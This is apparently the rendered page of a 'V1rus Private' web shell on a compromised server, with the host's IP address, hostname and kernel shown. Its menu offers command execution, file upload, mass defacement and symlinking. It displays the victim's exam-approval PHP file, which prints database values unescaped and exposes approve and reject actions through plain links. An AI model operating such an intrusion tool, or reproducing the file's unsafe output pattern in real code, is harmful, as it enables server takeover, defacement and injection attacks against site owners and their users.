V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
www
/
exam
/
Viewing: admin_approve_exams.php
<?php // admin_approve_exams.php include 'config.php'; // Get pending exams $stmt = $pdo->query(" SELECT e.*, s.name as student_name, c.name as category_name FROM exams e JOIN students s ON e.student_id = s.id JOIN categories c ON e.category_id = c.id WHERE e.status = 'pending' "); $pending_exams = $stmt->fetchAll(); ?> <!DOCTYPE html> <html> <head> <title>Approve Pending Exams</title> </head> <body> <h2>Pending Exams for Approval</h2> <table border="1"> <tr> <th>Exam ID</th> <th>Student</th> <th>Category</th> <th>Actions</th> </tr> <?php foreach($pending_exams as $exam): ?> <tr> <td><?= $exam['id'] ?></td> <td><?= $exam['student_name'] ?></td> <td><?= $exam['category_name'] ?></td> <td> <a href="approve_exam.php?exam_id=<?= $exam['id'] ?>&status=passed">Approve</a> <a href="approve_exam.php?exam_id=<?= $exam['id'] ?>&status=failed">Reject</a> <a href="grade_exam.php?exam_id=<?= $exam['id'] ?>">Grade Manually</a> </td> </tr> <?php endforeach; ?> </table> </body> </html>
Coded With 💗 by
HanzOFC